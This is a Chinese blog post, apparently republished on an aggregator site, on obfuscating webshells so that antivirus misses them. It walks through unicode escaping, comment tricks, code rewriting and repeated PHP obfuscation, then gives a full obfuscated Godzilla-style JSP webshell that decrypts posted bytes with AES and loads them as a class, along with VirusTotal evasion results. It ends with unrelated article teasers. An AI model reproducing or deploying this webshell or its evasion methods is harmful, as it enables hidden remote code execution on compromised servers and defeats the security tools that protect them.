Webshell混淆免杀的一些思路

简介

为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。

混淆字符

混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jsp webshell示例。因为java是默认支持unicode编码的。

Java代码示例:

4f21c710e16b54a58293a7853924f602.jpeg

然后可以上传vt查杀可以看到还是会被挺多杀软识别的。

c841c324b7298a60ff317abfb67d7d86.jpeg

现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。

c3349f87e351b29a1bc6619061e1fb4d.jpeg aaafcbdd56f12147e033e400c81b393f.jpeg

利用注释

利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。

Java示例:

834f1f59e8f4d5d573830804f9e244a1.jpeg

然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。

7e235b46563db3e38438839539069bc6.jpeg a0c2f0896de7ee57ecec340fe17123e2.jpeg

值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用String s = "/*"; code...; String ss = "*/"; code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */ 中间的值认为是注释内容从而匹配恶意代码失败。

改变代码特征

改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替if else,用一些代替写法比如java中的int类型1 可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。

部分代码截图:

fc9e17edc8fa2e1fde62f33dda7d902e.jpeg bb2c5e5e236ba94bf16ad3405c3fbb13.jpeg

可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。

全部代码:

<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.io.IOException" %><%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";class Register extends ClassLoader {public Register(ClassLoader username) {super(username);}public Class Query/*\u3333*/(byte[] password) {int len = password.length;String s1 = "/*";Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);String s2 = "*/";return aClass;}}public byte[] x(byte[] s, boolean m) {// 这行代码换了个顺序byte[] bs = xc.getBytes();try {String sss = "/*";String decode = "\u0041\u0045\u0053";Cipher c = Cipher.getInstance(decode);String ccc = "*/";// if代替了原本的三元表达式int flag = 0xAFFFF;if (m) {flag = 1;} else {flag = 2;}String acaw = "/*";c.init(flag, new SecretKeySpec(bs, decode));String ANANAWU = "*/";String string1 = "/*";byte[] bytes = c.doFinal(s);String string12 = "*/";return bytes;} catch (Exception e) {return null;}}public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {// 添加注释/*o.equls(null)*/int x = 10;int y = 20;// 这里有一些毫无意义的操作x = (x + y) * 2;y = x - y;String meaninglessString = "Hello, this is a meaningless string.";if (x > y) {x = x * 2;} else {y = y * 2;}String sss = "/*";o./*o.equls(null)*/equals/*o.equls(null)*/(bos);String ccc = "*/";o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);String ac = "//";o.toString/*o.equls(null)*/();}public void run2(byte[] data_bytes, HttpSession session) {String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";Register REG = new Register(this.getClass().getClassLoader());Class cs = REG.Query(data_bytes);session.setAttribute(py, cs);}public Object os_return(HttpSession session) {String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";return  session.getAttribute(py);}public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {byte[] x = x(bos.toByteArray(), true);os.write(x);}public void setAttribute(HttpServletRequest request, String key, Object value) {request.setAttribute(key, value);}public ByteArrayOutputStream getBos() {ByteArrayOutputStream arrOut = null;arrOut = new ByteArrayOutputStream();return arrOut;}
%><%try {String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";int length = Integer.valueOf/*o.equls(null)*/(header);byte[] data_bytes = new byte[/*o.equls(null)*/length];InputStream is = request.getInputStream();// for循环替代了while循环for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));// 原本的false变成了 !truedata_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);OutputStream os = response.getOutputStream();ByteArrayOutputStream bos = getBos();boolean flag = session.getAttribute(py) == null;if (flag) {run2(data_bytes, session);} else {setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);String s = "/*";Class cs = (Class) os_return(session);String c = "*/";Object f = (cs).newInstance();run(f, bos, pageContext);/* 垃圾代码 */int a = 10;int b = 20;for (int i = 0; i < 5; i++) {a += b;b -= a;}String meaninglessString = "This is a meaningless string.";int[] numbers = {1, 2, 3, 4, 5};for (int num : numbers) {if (num % 2 == 0) {// 不执行任何操作} else {// 不执行任何操作}}/* 垃圾代码 */pull(bos, os);}} catch (Exception e) {}
%>

免杀效果:

4435623008a60cdf4a81e9408e83f167.jpeg 15275233ae2c167c76641b94cc0c6206.jpeg

Ps: 以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。

利用代码加密工具

上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。

比如随便找一些php在线混淆哥斯拉的webshell

f6115af810d53401d9103ea7e4e373a0.jpeg

链接也是没有问题的

9e0de71682fc3bbfb6c99a7c13928cd0.jpeg

虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。

e4904e2e883defe9a6b662fd207ccee1.jpeg

经过3次混淆的phpwebshell,反正我是认不出来了。

d4c200d1e87407e77b3d4d73325bf1fd.jpeg 3d78701413c8e834de4c9c5fe2574dbe.jpeg

类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。

cf74989e163bc8a95447ab020a24db2d.jpeg

总结

文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

0a154b25298ff0fe24860dd3a99334ec.gif

参与靶场实战,戳"阅读原文"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/179657.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于U2-Net如何训练一个一键抠图模型

1. 前言 抠图是图像编辑的基础功能之一&#xff0c;在抠图的基础上可以发展出很多有意思的玩法和特效。比如一键更换背景、一键任务卡通化、一键人物素描化等。正是因为这些有意思的玩法。 最近也是对此模型背后的网络很感兴趣&#xff0c;收集数据训练了人脸素描化模型&…

五、cookie、session、token、localstroage、sessionStroage区别

一、localStorage 跟 sessionStorage有什么不同&#xff1f;&#xff1f;&#xff1f;&#xff1f; localStorage 1、生命周期&#xff1a;localStorage的生命周期是永久的&#xff0c;关闭页面或浏览器之后localStorage中的数据也不会消失。localStorage除非主动删除数据&am…

Spark---资源、任务调度

一、Spark资源调度源码 1、Spark资源调度源码过程 Spark资源调度源码是在Driver启动之后注册Application完成后开始的。Spark资源调度主要就是Spark集群如何给当前提交的Spark application在Worker资源节点上划分资源。Spark资源调度源码在Master.scala类中的schedule()中进行…

界面控件DevExpress WPF流程图组件,完美复制Visio UI!(二)

DevExpress WPF Diagram&#xff08;流程图&#xff09;控件帮助用户完美复制Microsoft Visio UI&#xff0c;并将信息丰富且组织良好的图表、流程图和组织图轻松合并到您的下一个WPF项目中。 在上文中&#xff08;点击这里回顾>>&#xff09;&#xff0c;我们为大家介绍…

AUTOSAR汽车电子嵌入式编程精讲300篇-基于智能网联车的CAN总线攻击与入侵检测(续)

目录 车辆总线攻击的远程实现 3.1 车辆总线攻击的实现方法 3.2 车身控制模块攻击 3.3 仪表盘攻击

git commit 撤销的三种方法

一般在提交代码的时候&#xff0c;顺序是这样的 git status // 查看修改文件状态&#xff08;已添加至暂存区还是未添加至暂存区&#xff09;git add . // 添加所有已修改文件 git add xxx/xxx // 添加目录为xxx/xxx的文件至暂存区git commit -m xx功能全部完成 // 提交暂存区…

Linux_Linux终端常用快捷键

Linux命令行核心常用快捷键是一些在终端中使用的快捷键组合&#xff0c;用于提高命令行操作的效率。下面是这些快捷键的原理详细解释、使用场景解释 Ctrl A &#xff1a;将光标移动到命令行的开头。这个快捷键的原理是发送一个控制序列到终端&#xff0c;告诉终端将光标移动到…

Java后端开发——MVC商品管理程序

Java后端开发——MVC商品管理程序 本篇文章内容主要有下面几个部分&#xff1a; MVC架构介绍项目环境搭建商品管理模块Servlet代码重构BaseServlet文件上传 MVC 是模型-视图-控制器&#xff08;Model-View-Controller&#xff09;&#xff0c;它是一种设计模式&#xff0c;也…

## spring-@Autowired实现

spring-Autowired实现 我们知道 spring 中有很多的后置处理器 BeanPostProcessor, 而 Autowired 就是通过 AutowiredAnnotationBeanPostProcessor 来实现的 与之相似的还有 CommonAnnotationBeanPostProcessor 处理 Resource 注解 AutowiredAnnotationBeanPostProcessor 构…

java设计模式学习之【原型模式】

文章目录 引言原型模式简介定义与用途实现方式UML 使用场景优势与劣势原型模式在spring中的应用员工记录示例代码地址 引言 原型模式是一种创建型设计模式&#xff0c;它允许对象能够复制自身&#xff0c;以此来创建一个新的对象。这种模式在需要重复地创建相似对象时非常有用…

【代码】基于卷积神经网络(CNN)-支持向量机(SVM)的分类预测算法

程序名称&#xff1a;基于卷积神经网络&#xff08;CNN&#xff09;-支持向量机&#xff08;SVM&#xff09;的分类预测算法 实现平台&#xff1a;matlab 代码简介&#xff1a;CNN-SVM是一种常用的图像分类方法&#xff0c;结合了卷积神经网络&#xff08;CNN&#xff09;和支…

移动应用开发介绍及iOS方向学习路线(HUT移动组版)

移动应用开发介绍及iOS方向学习路线&#xff08;HUT移动组版&#xff09; 前言 ​ 作为一个HUT移动组待了一坤年&#xff08;两年半&#xff09;多的老人&#xff0c;在这里为还在考虑进哪个组的萌新们以及将来进组的新朋友提供一份关于移动应用开发介绍以及学习路线的白话文…

DC电源模块有哪些常见故障?怎么解决这些问题?

DC-DC电源模块的作用是将输入电压转换为所需的输出电压&#xff0c;广泛应用于电子产品、汽车电子、医疗设备、通信系统等领域。但是在使用过程中DC电源模块会出现一些故障和问题&#xff0c;影响电源模块和其它电路器件的性能。因此&#xff0c;纳米软件将为大家介绍常见的DC-…

大坝安全监测的内容及作用

大坝安全监测是指对大坝水雨情沉降、倾斜、渗压以及大坝形状特征有效地进行监测&#xff0c;及时发现潜在的安全隐患和异常情况&#xff0c;以便大坝管理人员能够做出科学决策&#xff0c;以确保大坝安全稳定运行。 大坝安全监测的主要内容 1.表面位移监测&#xff1a;监测大坝…

分子骨架跃迁工具-DiffHopp 评测

一、文章背景介绍 DiffHopp模型发表在ICML 2023 Workshop on Computational Biology&#xff08;简称&#xff1a;2023 ICML-WCB&#xff09;上的文章。第一作者是剑桥计算机系的Jos Torge。 DiffHopp是一个专门针对骨架跃迁任务而训练的E3等变条件扩散模型。此外&#xff0c;…

golang构建docker镜像的几种方式

目前docker支持以下几种方式指定上下文来构建镜像 本地项目路径本地压缩包路径docekrfile文本链接压缩包文件链接git仓库链接 在此记录下golang中使用git仓库链接构建方法 import ("context""github.com/docker/docker/api/types""github.com/dock…

LeetCode Hot100 84.柱状图中最大的矩形

题目&#xff1a; 给定 n 个非负整数&#xff0c;用来表示柱状图中各个柱子的高度。每个柱子彼此相邻&#xff0c;且宽度为 1 。 求在该柱状图中&#xff0c;能够勾勒出来的矩形的最大面积。 方法&#xff1a; 代码&#xff1a; class Solution {public int largestRectang…

Go操作MySQL

1、下载依赖 Go语言中的database/sql包提供了保证SQL或类SQL数据库的泛用接口&#xff0c;并不提供具体的数据库驱动。使用database/sql包时必须注入&#xff08;至少&#xff09;一个数据库驱动。 go get -u github.com/go-sql-driver/mysql2、相关函数 2.1 Open() func O…

MySOL常见四种连接查询

1、内联接 &#xff08;典型的联接运算&#xff0c;使用像 或 <> 之类的比较运算符&#xff09;。包括相等联接和自然联接。 内联接使用比较运算符根据每个表共有的列的值匹配两个表中的行。例如&#xff0c;检索 students和courses表中学生标识号相同的所有行。 2、…

CVPR 2023 精选论文学习笔记:Towards Scalable Neural Representation for Diverse Videos

基于 MECE 原则,我们给出以下四个分类标准: 分类标准 1:表示类型 隐式神经表示(INR) 隐式神经表示(INR)是一类神经网络架构,将场景或对象表示为从 3D 点映射到颜色和不透明度值的连续函数。该函数通常从一组训练图像或视频中学习,然后可以用于渲染场景或对象的新视…